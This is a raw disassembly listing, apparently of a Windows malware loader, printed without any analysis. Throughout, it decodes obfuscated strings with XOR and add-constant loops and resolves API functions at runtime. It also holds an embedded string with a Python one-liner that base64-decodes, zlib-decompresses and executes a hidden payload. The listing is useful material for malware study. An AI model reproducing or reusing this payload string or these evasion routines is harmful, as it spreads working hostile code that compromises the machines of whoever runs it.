mov word [rsp + 0x31c], ax
movzx eax, byte [rsp + 0x310]
mov qword [rsp + 0xe0], rbx
mov byte [rsp + 0x310], al
movzx eax, byte [rsp + 0x311]
mov dword [rsp + 0xe8], 0x6c642e31
mov byte [rsp + 0x311], al
movzx eax, byte [rsp + 0x312]
mov byte [rsp + 0x312], al
movzx eax, byte [rsp + 0x313]
mov byte [rsp + 0x313], al
movzx eax, byte [rsp + 0x314]
mov byte [rsp + 0x314], al
movzx eax, byte [rsp + 0x315]
mov byte [rsp + 0x315], al
movzx eax, byte [rsp + 0x316]
mov byte [rsp + 0x316], al
movzx eax, byte [rsp + 0x317]
mov byte [rsp + 0x317], al
movzx eax, byte [rsp + 0x318]
mov byte [rsp + 0x318], al
movzx eax, byte [rsp + 0x319]
mov byte [rsp + 0x319], al
movzx eax, byte [rsp + 0x31a]
mov byte [rsp + 0x31a], al
movzx eax, byte [rsp + 0x31b]
mov byte [rsp + 0x31b], al
movzx eax, byte [rsp + 0x31c]
mov byte [rsp + 0x31c], al
call fcn.1d3ae6130
mov rcx, rbp
call rax
mov eax, 0x676e
movaps xmmword [rsp + 0x330], xmm6
mov word [rsp + 0x160], ax
mov eax, 0x676e
mov word [rsp + 0x340], ax
xor eax, eax
mov byte [rsp + 0x162], 0
mov byte [rsp + 0x342], 0
movaps xmmword [rsp + 0x150], xmm6
nop dword [rax]
movzx edx, byte [rsp + rax + 0x330]
mov byte [rsp + rax + 0x330], dl
add rax, 1
cmp rax, 0x12
jne 0x1d3b3eb38
mov ebp, 0x6c
mov r11d, 0x6c
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x310], rbx
mov dword [rsp + 0x318], 0x6c642e31
mov word [rsp + 0x31c], bp
movzx eax, byte [rsp + 0x310]
mov qword [rsp + 0xf0], rbx
mov byte [rsp + 0x310], al
movzx eax, byte [rsp + 0x311]
mov dword [rsp + 0xf8], 0x6c642e31
mov byte [rsp + 0x311], al
movzx eax, byte [rsp + 0x312]
mov word [rsp + 0xfc], r11w
mov byte [rsp + 0x312], al
movzx eax, byte [rsp + 0x313]
mov byte [rsp + 0x313], al
movzx eax, byte [rsp + 0x314]
mov byte [rsp + 0x314], al
movzx eax, byte [rsp + 0x315]
mov byte [rsp + 0x315], al
movzx eax, byte [rsp + 0x316]
mov byte [rsp + 0x316], al
movzx eax, byte [rsp + 0x317]
mov byte [rsp + 0x317], al
movzx eax, byte [rsp + 0x318]
mov byte [rsp + 0x318], al
movzx eax, byte [rsp + 0x319]
mov byte [rsp + 0x319], al
movzx eax, byte [rsp + 0x31a]
mov byte [rsp + 0x31a], al
movzx eax, byte [rsp + 0x31b]
mov byte [rsp + 0x31b], al
movzx eax, byte [rsp + 0x31c]
mov byte [rsp + 0x31c], al
call fcn.1d3ae6130
mov rcx, rdi
call rax
mov r9d, 0x676e
mov r10d, 0x676e
movaps xmmword [rsp + 0x330], xmm6
xor eax, eax
mov word [rsp + 0x340], r10w
mov word [rsp + 0x180], r9w
mov byte [rsp + 0x182], 0
mov byte [rsp + 0x342], 0
movaps xmmword [rsp + 0x170], xmm6
nop word cs:[rax + rax]
movzx edx, byte [rsp + rax + 0x330]
mov byte [rsp + rax + 0x330], dl
add rax, 1
cmp rax, 0x12
jne 0x1d3b3ecb0
mov r8d, 0x6c
mov qword [rsp + 0x310], rbx
mov ecx, 0x6c
mov rdx, r12
mov dword [rsp + 0x318], 0x6c642e31
mov word [rsp + 0x31c], r8w
movzx eax, byte [rsp + 0x310]
mov word [rsp + 0x10c], cx
mov rcx, r13
mov byte [rsp + 0x310], al
movzx eax, byte [rsp + 0x311]
mov qword [rsp + 0x100], rbx
mov byte [rsp + 0x311], al
movzx eax, byte [rsp + 0x312]
mov dword [rsp + 0x108], 0x6c642e31
mov byte [rsp + 0x312], al
movzx eax, byte [rsp + 0x313]
mov byte [rsp + 0x313], al
movzx eax, byte [rsp + 0x314]
mov byte [rsp + 0x314], al
movzx eax, byte [rsp + 0x315]
mov byte [rsp + 0x315], al
movzx eax, byte [rsp + 0x316]
mov byte [rsp + 0x316], al
movzx eax, byte [rsp + 0x317]
mov byte [rsp + 0x317], al
movzx eax, byte [rsp + 0x318]
mov byte [rsp + 0x318], al
movzx eax, byte [rsp + 0x319]
mov byte [rsp + 0x319], al
movzx eax, byte [rsp + 0x31a]
mov byte [rsp + 0x31a], al
movzx eax, byte [rsp + 0x31b]
mov byte [rsp + 0x31b], al
movzx eax, byte [rsp + 0x31c]
mov byte [rsp + 0x31c], al
call fcn.1d3ae6130
mov rcx, rsi
call rax
mov edx, dword [rsp + 0x24]
mov eax, 7
mov dword [rsp + 0x310], 0x6161684f
mov rcx, r12
mov dword [rsp + 0x80], 0x6161684f
add edx, 1
cmp rax, qword [rsp + 0x30]
mov eax, 0
mov dword [rsp + 0xb8], 0x95959dd7
cmovne eax, edx
mov edx, 0x6c
mov byte [rsp + 0xbc], 0
mov word [rsp + 0x314], dx
mov rdx, r13
mov dword [rsp + 0x24], eax
mov eax, 0x6c
mov word [rsp + 0x84], ax
movzx eax, byte [rsp + 0x310]
add eax, 4
mov byte [rsp + 0x310], al
movzx eax, byte [rsp + 0x311]
add eax, 4
mov byte [rsp + 0x311], al
movzx eax, byte [rsp + 0x312]
add eax, 4
mov byte [rsp + 0x312], al
movzx eax, byte [rsp + 0x313]
add eax, 4
mov byte [rsp + 0x313], al
movzx eax, byte [rsp + 0x314]
add eax, 4
mov byte [rsp + 0x314], al
mov rax, qword [0x1d3bdca40]
mov qword [rsp + 0xb0], rax
movabs rax, 0xcbca959c978b9c92
mov qword [rsp + 0x330], rax
mov dword [rsp + 0x338], 0x95959dd7
mov byte [rsp + 0x33c], 0
movzx eax, byte [rsp + 0x330]
xor eax, 0xfffffff9
mov byte [rsp + 0x330], al
movzx eax, byte [rsp + 0x331]
xor eax, 0xfffffff9
mov byte [rsp + 0x331], al
movzx eax, byte [rsp + 0x332]
xor eax, 0xfffffff9
mov byte [rsp + 0x332], al
movzx eax, byte [rsp + 0x333]
xor eax, 0xfffffff9
mov byte [rsp + 0x333], al
movzx eax, byte [rsp + 0x334]
xor eax, 0xfffffff9
mov byte [rsp + 0x334], al
movzx eax, byte [rsp + 0x335]
xor eax, 0xfffffff9
mov byte [rsp + 0x335], al
movzx eax, byte [rsp + 0x336]
xor eax, 0xfffffff9
mov byte [rsp + 0x336], al
movzx eax, byte [rsp + 0x337]
xor eax, 0xfffffff9
mov byte [rsp + 0x337], al
movzx eax, byte [rsp + 0x338]
xor eax, 0xfffffff9
mov byte [rsp + 0x338], al
movzx eax, byte [rsp + 0x339]
xor eax, 0xfffffff9
mov byte [rsp + 0x339], al
movzx eax, byte [rsp + 0x33a]
xor eax, 0xfffffff9
mov byte [rsp + 0x33a], al
movzx eax, byte [rsp + 0x33b]
xor eax, 0xfffffff9
mov byte [rsp + 0x33b], al
call fcn.1d3ae6130
mov ecx, 0x3e8
call rax
lea rcx, [rsp + 0x448]
call fcn.1d3b983d0
mov rbx, qword [rsp + 0x438]
mov r12, qword [rsp + 0x430]
cmp rbx, r12
je 0x1d3b3f011
nop dword [rax + rax]
mov rcx, qword [r12]
lea rax, [r12 + 0x10]
cmp rcx, rax
je 0x1d3b3f108
mov rax, qword [r12 + 0x10]
add r12, 0x20
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
cmp r12, rbx
jne 0x1d3b3efe0
mov r12, qword [rsp + 0x430]
test r12, r12
je 0x1d3b3f029
mov rdx, qword [rsp + 0x440]
mov rcx, r12
sub rdx, r12
call fcn.1d3bd4fb0
mov rcx, qword [rsp + 0x410]
lea rax, [rsp + 0x420]
cmp rcx, rax
je 0x1d3b3f04f
mov rax, qword [rsp + 0x420]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
mov rcx, qword [rsp + 0x3f0]
lea rax, [rsp + 0x400]
cmp rcx, rax
je 0x1d3b3f075
mov rax, qword [rsp + 0x400]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
mov rcx, qword [rsp + 0x3d0]
lea rax, [rsp + 0x3e0]
cmp rcx, rax
je 0x1d3b3f09b
mov rax, qword [rsp + 0x3e0]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
mov rcx, qword [rsp + 0x2b0]
cmp rcx, qword [rsp + 0x28]
je 0x1d3b3f0bb
mov rax, qword [rsp + 0x2c0]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
movsxd rax, dword [rsp + 0x24]
mov rdi, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
shl rax, 5
add rax, r15
mov qword [rsp + 0x2b0], rdi
mov r12, qword [rax]
mov rbx, qword [rax + 8]
mov rax, r12
add rax, rbx
je 0x1d3b3e360
test r12, r12
jne 0x1d3b3e360
lea rcx, [0x1d3bdc990]
call fcn.1d3bd5fa0
nop dword [rax]
add r12, 0x20
cmp rbx, r12
jne 0x1d3b3efe0
jmp 0x1d3b3f009
test rbx, rbx
jne 0x1d3b40119
mov rax, qword [rsp + 0x28]
jmp 0x1d3b3e390
movdqa xmm0, xmmword [0x1d3bdcbc0]
mov ecx, 0x35
movaps xmmword [rsp + 0x990], xmm7
movaps xmmword [rsp + 0x9a0], xmm8
movaps xmmword [rsp + 0x9f0], xmm0
movdqa xmm0, xmmword [0x1d3bdcbd0]
movaps xmmword [rsp + 0x9b0], xmm9
movaps xmmword [rsp + 0xa00], xmm0
movdqa xmm0, xmmword [0x1d3bdcbe0]
movaps xmmword [rsp + 0x9c0], xmm10
movaps xmmword [rsp + 0xa10], xmm0
movdqa xmm0, xmmword [0x1d3bdcbf0]
movaps xmmword [rsp + 0x9d0], xmm11
movaps xmmword [rsp + 0xa20], xmm0
movdqa xmm0, xmmword [0x1d3bdcc00]
movaps xmmword [rsp + 0x9e0], xmm12
movaps xmmword [rsp + 0xa30], xmm0
movdqa xmm0, xmmword [0x1d3bdcc10]
movaps xmmword [rsp + 0xa40], xmm0
movdqa xmm0, xmmword [0x1d3bdcc20]
movaps xmmword [rsp + 0xa50], xmm0
movdqa xmm0, xmmword [0x1d3bdcc30]
movaps xmmword [rsp + 0xa60], xmm0
movdqa xmm0, xmmword [0x1d3bdcc40]
movaps xmmword [rsp + 0xa70], xmm0
movdqa xmm0, xmmword [0x1d3bdcc50]
movaps xmmword [rsp + 0xa80], xmm0
movdqa xmm0, xmmword [0x1d3bdcc60]
movaps xmmword [rsp + 0xa90], xmm0
movdqa xmm0, xmmword [0x1d3bdcc70]
movaps xmmword [rsp + 0xaa0], xmm0
movdqa xmm0, xmmword [0x1d3bdcc80]
movaps xmmword [rsp + 0xab0], xmm0
movdqa xmm0, xmmword [0x1d3bdcc90]
mov rax, qword [0x1d3bdcd00]
mov byte [rsp + 0xb38], 0
mov rdi, qword [rsp + 0x48]
movaps xmmword [rsp + 0xac0], xmm0
movdqa xmm0, xmmword [0x1d3bdcca0]
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0xb30], rax
movaps xmmword [rsp + 0xad0], xmm0
movdqa xmm0, xmmword [0x1d3bdccb0]
movaps xmmword [rsp + 0xae0], xmm0
movdqa xmm0, xmmword [0x1d3bdccc0]
movaps xmmword [rsp + 0xaf0], xmm0
movdqa xmm0, xmmword [0x1d3bdccd0]
movaps xmmword [rsp + 0xb00], xmm0
movdqa xmm0, xmmword [0x1d3bdcce0]
movaps xmmword [rsp + 0xb10], xmm0
movdqa xmm0, xmmword [0x1d3bdccf0]
movaps xmmword [rsp + 0xb20], xmm0
rep movsq qword [rdi], qword [rsi]
movzx eax, byte [rsi]
mov byte [rdi], al
xor eax, eax
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x7e0]
add edx, 2
mov byte [rsp + rax + 0x7e0], dl
add rax, 1
cmp rax, 0x1a8
jne 0x1d3b3f2d8
mov rsi, qword [rsp + 0x48]
jmp 0x1d3b3e4b2
movdqa xmm0, xmmword [str._s_ZZdhkjmoZZ_ugd______jhkm_nnZZdhkjmoZZ___n_1_____1___j__ZZdhkjmoZZ_j__n___b_o_ij__m_poa_3____IkIPhAq_e_LPsc_UCkfO_FR_FkHT1jkP_bttDLcttMCT4S_lUr1GOKb_laFC3.o.U4_2U.fjoiLh0D2atn4CpKQqqFBHS_BHg_mbnocmm_Ts0ENuui0.M.d_deS_3Q4KJ_GuRT_q3U.JPh._24a_BC0NQ_up_lleJnN_e_Ts0HfR_rhjndPb_ql0O_____0MONBn__0EGjF_CkJqabIFfOUSCKf4K1E_m.R__hmqEUITsaUeP_11F_PPpAeJfg_KpRJK.Te_oNsIDac_aQjP_LKsQF_pScAHn4__gCcqaGsHh3pqQUphNe_3hkASnK_g4h_Gl1_bg.jnfC.Gm__tG__MJOKe_CaGUdKj_jFha_f.1ONjibcjRDmBRM1Q3RuMGP_Qg_csuM24_cP24C_bnA_sc4tdm__1UQ_af_E3eO_fUDqb1Df.MJC_BL4_EK2BrJRbg4nGDat_T_e_LPlc_HHPij_QcGmmoip.1qDOHbheP_H1mlmO_DH_osd___.dD_2TtkKB_PD___4MDR1d__GrRe4JHcSGh.ukgqMrf_u_is_Ul.LJLQpA_I__Vexec___import___zlib_.decompress___import___base64_.b64decode___import___codecs_.getencoder_utf_8__eNpNkElPwzAQhe_5Fb7ZpqnTdMmhKIcglkIpSHQBEUVRlmlj1Y1T26loEfdhArEaWbevJHmfXxXSWXQSfDUThMN3tDWR20duN8UdgCluSxjXq6lVQs_jvmPP47JZ3MayWauz62B789U7CvQRv8FR542Isie63kTnBt_BCnNRd5LCsoQeGIWoX2w8iSfi3Y_xW5KDS1JEvyvIAkb17wQ4KXGlQ32EBpsI1n8sSFSJwR6yEySzJeGqmLS3RfGhCoEdDzHL0hdxC7FAVVJeAV0ik3jtcbMZe5I0Smk8Xs0UaCbwHdQbaVFK3OaR3XYy6aJtE8b8DTCMLPiAjLSmWQyZ3lQKtyRkaS71hKZAJGtjEFwYU40dB3cKqQ2hHTzGHW0UafkR2szOovaWk6cHPt3PgvxqtXm_Wb5MgNmcnu97GLasEzyxkmp9Q3L3YlU__0fmqr]
mov ecx, 0x5c
movaps xmmword [rsp + 0x12b0], xmm0
movdqa xmm0, xmmword [0x1d3bdced0]
movaps xmmword [rsp + 0x12c0], xmm0
movdqa xmm0, xmmword [0x1d3bdcee0]
movaps xmmword [rsp + 0x12d0], xmm0
movdqa xmm0, xmmword [0x1d3bdcef0]
movaps xmmword [rsp + 0x12e0], xmm0
movdqa xmm0, xmmword [0x1d3bdcf00]
movaps xmmword [rsp + 0x12f0], xmm0
movdqa xmm0, xmmword [0x1d3bdcf10]
movaps xmmword [rsp + 0x1300], xmm0
movdqa xmm0, xmmword [0x1d3bdcf20]
movaps xmmword [rsp + 0x1310], xmm0
movdqa xmm0, xmmword [0x1d3bdcf30]
movaps xmmword [rsp + 0x1320], xmm0
movdqa xmm0, xmmword [0x1d3bdcf40]
movaps xmmword [rsp + 0x1330], xmm0
movdqa xmm0, xmmword [0x1d3bdcf50]
movaps xmmword [rsp + 0x1340], xmm0
movdqa xmm0, xmmword [0x1d3bdcf60]
movaps xmmword [rsp + 0x1350], xmm0
movdqa xmm0, xmmword [0x1d3bdcf70]
movaps xmmword [rsp + 0x1360], xmm0
movdqa xmm0, xmmword [0x1d3bdcf80]
movaps xmmword [rsp + 0x1370], xmm0
movdqa xmm0, xmmword [0x1d3bdcf90]
movaps xmmword [rsp + 0x1380], xmm0
movdqa xmm0, xmmword [0x1d3bdcfa0]
movaps xmmword [rsp + 0x1390], xmm0
movdqa xmm0, xmmword [0x1d3bdcfb0]
movaps xmmword [rsp + 0x13a0], xmm0
movdqa xmm0, xmmword [0x1d3bdcfc0]
movaps xmmword [rsp + 0x13b0], xmm0
movdqa xmm0, xmmword [0x1d3bdcfd0]
movaps xmmword [rsp + 0x13c0], xmm0
movdqa xmm0, xmmword [0x1d3bdcfe0]
movaps xmmword [rsp + 0x13d0], xmm0
movdqa xmm0, xmmword [0x1d3bdcff0]
movaps xmmword [rsp + 0x13e0], xmm0
movdqa xmm0, xmmword [0x1d3bdd000]
movaps xmmword [rsp + 0x13f0], xmm0
movdqa xmm0, xmmword [0x1d3bdd010]
movaps xmmword [rsp + 0x1400], xmm0
movdqa xmm0, xmmword [0x1d3bdd020]
movaps xmmword [rsp + 0x1410], xmm0
movdqa xmm0, xmmword [0x1d3bdd030]
movaps xmmword [rsp + 0x1420], xmm0
movdqa xmm0, xmmword [0x1d3bdd040]
movaps xmmword [rsp + 0x1430], xmm0
movdqa xmm0, xmmword [0x1d3bdd050]
movaps xmmword [rsp + 0x1440], xmm0
movdqa xmm0, xmmword [0x1d3bdd060]
movaps xmmword [rsp + 0x1450], xmm0
movdqa xmm0, xmmword [0x1d3bdd070]
movaps xmmword [rsp + 0x1460], xmm0
movdqa xmm0, xmmword [0x1d3bdd080]
movaps xmmword [rsp + 0x1470], xmm0
movdqa xmm0, xmmword [0x1d3bdd090]
movaps xmmword [rsp + 0x1480], xmm0
movdqa xmm0, xmmword [0x1d3bdd0a0]
movaps xmmword [rsp + 0x1490], xmm0
movdqa xmm0, xmmword [0x1d3bdd0b0]
movaps xmmword [rsp + 0x14a0], xmm0
movdqa xmm0, xmmword [0x1d3bdd0c0]
mov rdi, qword [rsp + 0x38]
mov dword [rsp + 0x1590], 0x24242458
mov rsi, qword [rsp + 0x58]
movaps xmmword [rsp + 0x14b0], xmm0
movdqa xmm0, xmmword [0x1d3bdd0d0]
mov byte [rsp + 0x1594], 0
movaps xmmword [rsp + 0x14c0], xmm0
movdqa xmm0, xmmword [0x1d3bdd0e0]
movaps xmmword [rsp + 0x14d0], xmm0
movdqa xmm0, xmmword [0x1d3bdd0f0]
movaps xmmword [rsp + 0x14e0], xmm0
movdqa xmm0, xmmword [0x1d3bdd100]
movaps xmmword [rsp + 0x14f0], xmm0
movdqa xmm0, xmmword [0x1d3bdd110]
movaps xmmword [rsp + 0x1500], xmm0
movdqa xmm0, xmmword [0x1d3bdd120]
movaps xmmword [rsp + 0x1510], xmm0
movdqa xmm0, xmmword [0x1d3bdd130]
movaps xmmword [rsp + 0x1520], xmm0
movdqa xmm0, xmmword [0x1d3bdd140]
movaps xmmword [rsp + 0x1530], xmm0
movdqa xmm0, xmmword [0x1d3bdd150]
movaps xmmword [rsp + 0x1540], xmm0
movdqa xmm0, xmmword [0x1d3bdd160]
movaps xmmword [rsp + 0x1550], xmm0
movdqa xmm0, xmmword [0x1d3bdd170]
movaps xmmword [rsp + 0x1560], xmm0
movdqa xmm0, xmmword [0x1d3bdd180]
movaps xmmword [rsp + 0x1570], xmm0
movdqa xmm0, xmmword [0x1d3bdd190]
movaps xmmword [rsp + 0x1580], xmm0
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsi]
add rdi, 4
mov dword [rdi - 4], eax
movzx eax, byte [rsi + 4]
mov byte [rdi], al
xor eax, eax
nop word cs:[rax + rax]
movzx edx, byte [rsp + rax + 0xfc0]
add edx, 5
mov byte [rsp + rax + 0xfc0], dl
add rax, 1
cmp rax, 0x2e4
jne 0x1d3b3f620
mov rsi, qword [rsp + 0x38]
jmp 0x1d3b3e6f0
movdqa xmm0, xmmword [0x1d3bdcd10]
mov ecx, 0x34
movaps xmmword [rsp + 0x630], xmm0
movdqa xmm0, xmmword [0x1d3bdcd20]
movaps xmmword [rsp + 0x640], xmm0
movdqa xmm0, xmmword [0x1d3bdcd30]
movaps xmmword [rsp + 0x650], xmm0
movdqa xmm0, xmmword [0x1d3bdcd40]
movaps xmmword [rsp + 0x660], xmm0
movdqa xmm0, xmmword [0x1d3bdcd50]
movaps xmmword [rsp + 0x670], xmm0
movdqa xmm0, xmmword [0x1d3bdcd60]
movaps xmmword [rsp + 0x680], xmm0
movdqa xmm0, xmmword [0x1d3bdcd70]
movaps xmmword [rsp + 0x690], xmm0
movdqa xmm0, xmmword [0x1d3bdcd80]
movaps xmmword [rsp + 0x6a0], xmm0
movdqa xmm0, xmmword [0x1d3bdcd90]
movaps xmmword [rsp + 0x6b0], xmm0
movdqa xmm0, xmmword [0x1d3bdcda0]
movaps xmmword [rsp + 0x6c0], xmm0
movdqa xmm0, xmmword [0x1d3bdcdb0]
movaps xmmword [rsp + 0x6d0], xmm0
movdqa xmm0, xmmword [0x1d3bdcdc0]
movaps xmmword [rsp + 0x6e0], xmm0
movdqa xmm0, xmmword [0x1d3bdcdd0]
movaps xmmword [rsp + 0x6f0], xmm0
movdqa xmm0, xmmword [0x1d3bdcde0]
movaps xmmword [rsp + 0x700], xmm0
movdqa xmm0, xmmword [0x1d3bdcdf0]
movaps xmmword [rsp + 0x710], xmm0
movdqa xmm0, xmmword [0x1d3bdce00]
movaps xmmword [rsp + 0x720], xmm0
movdqa xmm0, xmmword [0x1d3bdce10]
mov rdi, qword [rsp + 0x50]
mov dword [rsp + 0x7d0], 0xd3d3d3a7
mov rsi, qword [rsp + 0x68]
movaps xmmword [rsp + 0x730], xmm0
movdqa xmm0, xmmword [0x1d3bdce20]
mov byte [rsp + 0x7d4], 0
movaps xmmword [rsp + 0x740], xmm0
movdqa xmm0, xmmword [0x1d3bdce30]
movaps xmmword [rsp + 0x750], xmm0
movdqa xmm0, xmmword [0x1d3bdce40]
movaps xmmword [rsp + 0x760], xmm0
movdqa xmm0, xmmword [0x1d3bdce50]
movaps xmmword [rsp + 0x770], xmm0
movdqa xmm0, xmmword [0x1d3bdce60]
movaps xmmword [rsp + 0x780], xmm0
movdqa xmm0, xmmword [0x1d3bdce70]
movaps xmmword [rsp + 0x790], xmm0
movdqa xmm0, xmmword [0x1d3bdce80]
movaps xmmword [rsp + 0x7a0], xmm0
movdqa xmm0, xmmword [0x1d3bdce90]
movaps xmmword [rsp + 0x7b0], xmm0
movdqa xmm0, xmmword [0x1d3bdcea0]
movaps xmmword [rsp + 0x7c0], xmm0
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsi]
add rdi, 4
mov dword [rdi - 4], eax
movzx eax, byte [rsi + 4]
mov byte [rdi], al
xor eax, eax
nop
movzx edx, byte [rsp + rax + 0x480]
xor edx, 0xfffffffa
mov byte [rsp + rax + 0x480], dl
add rax, 1
cmp rax, 0x1a4
jne 0x1d3b3f820
mov rsi, qword [rsp + 0x50]
jmp 0x1d3b3e5e1
lea rcx, [rsp + 0x2b0]
xor r8d, r8d
mov rdx, r14
call fcn.1d3bc2380
mov qword [rsp + 0x2b0], rax
mov rcx, rax
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x2c0], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x3d0]
mov rax, qword [rsp + 0x2b0]
jmp 0x1d3b3e390
movdqa xmm0, xmmword [0x1d3bdd1a0]
mov ecx, 0x46
movaps xmmword [rsp + 0xd80], xmm0
movdqa xmm0, xmmword [0x1d3bdd1b0]
movaps xmmword [rsp + 0xd90], xmm0
movdqa xmm0, xmmword [0x1d3bdd1c0]
movaps xmmword [rsp + 0xda0], xmm0
movdqa xmm0, xmmword [0x1d3bdd1d0]
movaps xmmword [rsp + 0xdb0], xmm0
movdqa xmm0, xmmword [0x1d3bdd1e0]
movaps xmmword [rsp + 0xdc0], xmm0
movdqa xmm0, xmmword [0x1d3bdd1f0]
movaps xmmword [rsp + 0xdd0], xmm0
movdqa xmm0, xmmword [0x1d3bdd200]
movaps xmmword [rsp + 0xde0], xmm0
movdqa xmm0, xmmword [0x1d3bdd210]
movaps xmmword [rsp + 0xdf0], xmm0
movdqa xmm0, xmmword [0x1d3bdd220]
movaps xmmword [rsp + 0xe00], xmm0
movdqa xmm0, xmmword [0x1d3bdd230]
movaps xmmword [rsp + 0xe10], xmm0
movdqa xmm0, xmmword [0x1d3bdd240]
movaps xmmword [rsp + 0xe20], xmm0
movdqa xmm0, xmmword [0x1d3bdd250]
movaps xmmword [rsp + 0xe30], xmm0
movdqa xmm0, xmmword [0x1d3bdd260]
movaps xmmword [rsp + 0xe40], xmm0
movdqa xmm0, xmmword [0x1d3bdd270]
movaps xmmword [rsp + 0xe50], xmm0
movdqa xmm0, xmmword [0x1d3bdd280]
movaps xmmword [rsp + 0xe60], xmm0
movdqa xmm0, xmmword [0x1d3bdd290]
movaps xmmword [rsp + 0xe70], xmm0
movdqa xmm0, xmmword [0x1d3bdd2a0]
movaps xmmword [rsp + 0xe80], xmm0
movdqa xmm0, xmmword [0x1d3bdd2b0]
movaps xmmword [rsp + 0xe90], xmm0
movdqa xmm0, xmmword [0x1d3bdd2c0]
movaps xmmword [rsp + 0xea0], xmm0
movdqa xmm0, xmmword [0x1d3bdd2d0]
movaps xmmword [rsp + 0xeb0], xmm0
movdqa xmm0, xmmword [0x1d3bdd2e0]
movaps xmmword [rsp + 0xec0], xmm0
movdqa xmm0, xmmword [0x1d3bdd2f0]
movaps xmmword [rsp + 0xed0], xmm0
movdqa xmm0, xmmword [0x1d3bdd300]
movaps xmmword [rsp + 0xee0], xmm0
movdqa xmm0, xmmword [0x1d3bdd310]
movaps xmmword [rsp + 0xef0], xmm0
movdqa xmm0, xmmword [0x1d3bdd320]
movaps xmmword [rsp + 0xf00], xmm0
movdqa xmm0, xmmword [0x1d3bdd330]
movaps xmmword [rsp + 0xf10], xmm0
movdqa xmm0, xmmword [0x1d3bdd340]
movaps xmmword [rsp + 0xf20], xmm0
movdqa xmm0, xmmword [0x1d3bdd350]
movaps xmmword [rsp + 0xf30], xmm0
movdqa xmm0, xmmword [0x1d3bdd360]
movaps xmmword [rsp + 0xf40], xmm0
movdqa xmm0, xmmword [0x1d3bdd370]
movaps xmmword [rsp + 0xf50], xmm0
movdqa xmm0, xmmword [0x1d3bdd380]
movaps xmmword [rsp + 0xf60], xmm0
movdqa xmm0, xmmword [0x1d3bdd390]
movaps xmmword [rsp + 0xf70], xmm0
movdqa xmm0, xmmword [0x1d3bdd3a0]
mov rdi, qword [rsp + 0x40]
mov dword [rsp + 0xfb0], 0x2929295d
mov rsi, qword [rsp + 0x60]
movaps xmmword [rsp + 0xf80], xmm0
movdqa xmm0, xmmword [0x1d3bdd3b0]
mov byte [rsp + 0xfb4], 0
movaps xmmword [rsp + 0xf90], xmm0
movdqa xmm0, xmmword [0x1d3bdd3c0]
movaps xmmword [rsp + 0xfa0], xmm0
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsi]
add rdi, 4
mov dword [rdi - 4], eax
movzx eax, byte [rsi + 4]
mov byte [rdi], al
xor eax, eax
nop dword [rax]
movzx edx, byte [rsp + rax + 0xb40]
mov byte [rsp + rax + 0xb40], dl
add rax, 1
cmp rax, 0x234
jne 0x1d3b3fb00
mov rsi, qword [rsp + 0x40]
jmp 0x1d3b3e7c6
test rsi, rsi
je 0x1d3b3e1d6
jmp 0x1d3b3fb5c
lea rdx, [rsp + 0x390]
xor r8d, r8d
mov rcx, rbx
call fcn.1d3bc2380
mov qword [r15 + 0xe0], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [r15 + 0xf0], rax
mov r8, rsi
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x390]
mov rcx, qword [r15 + 0xe0]
jmp 0x1d3b3e1d6
movzx eax, byte [r12]
mov byte [r15 + 0xd0], al
jmp 0x1d3b3e16d
lea rdx, [rsp + 0x390]
xor r8d, r8d
mov rcx, rbx
call fcn.1d3bc2380
mov qword [r15 + 0xc0], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [r15 + 0xd0], rax
mov r8, rsi
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x390]
mov rcx, qword [r15 + 0xc0]
jmp 0x1d3b3e16d
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x38]
xor r8d, r8d
call fcn.1d3bc2380
mov qword [rsp + 0x12b0], rax
mov rcx, rax
mov rax, qword [rsp + 0xfc0]
mov qword [rsp + 0x12c0], rax
mov rdx, qword [rsp + 0x60]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0xfc0]
mov rax, qword [rsp + 0x12b0]
jmp 0x1d3b3d7d9
lea rdx, [rsp + 0x390]
xor r8d, r8d
mov rcx, rbx
call fcn.1d3bc2380
mov qword [r15 + 0xa0], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [r15 + 0xb0], rax
mov r8, rsi
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x390]
mov rcx, qword [r15 + 0xa0]
jmp 0x1d3b3e107
movzx eax, byte [r12]
mov byte [r15 + 0xb0], al
jmp 0x1d3b3e107
mov rax, rsi
test rbx, rbx
je 0x1d3b3d8d3
mov rcx, rsi
jmp 0x1d3b3fcc3
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x12d0]
xor r8d, r8d
call fcn.1d3bc2380
mov qword [rsp + 0x12d0], rax
mov rcx, rax
mov rax, qword [rsp + 0xfc0]
mov qword [rsp + 0x12e0], rax
mov r8, rbx
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0xfc0]
mov rax, qword [rsp + 0x12d0]
jmp 0x1d3b3d8d3
mov rax, rsi
test rbx, rbx
je 0x1d3b3dacd
mov rcx, rsi
jmp 0x1d3b3fd24
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x1310]
xor r8d, r8d
call fcn.1d3bc2380
mov qword [rsp + 0x1310], rax
mov rcx, rax
mov rax, qword [rsp + 0xfc0]
mov qword [rsp + 0x1320], rax
mov rdx, qword [rsp + 0x50]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0xfc0]
mov rax, qword [rsp + 0x1310]
jmp 0x1d3b3dacd
mov rax, rsi
test rbx, rbx
je 0x1d3b3d9ce
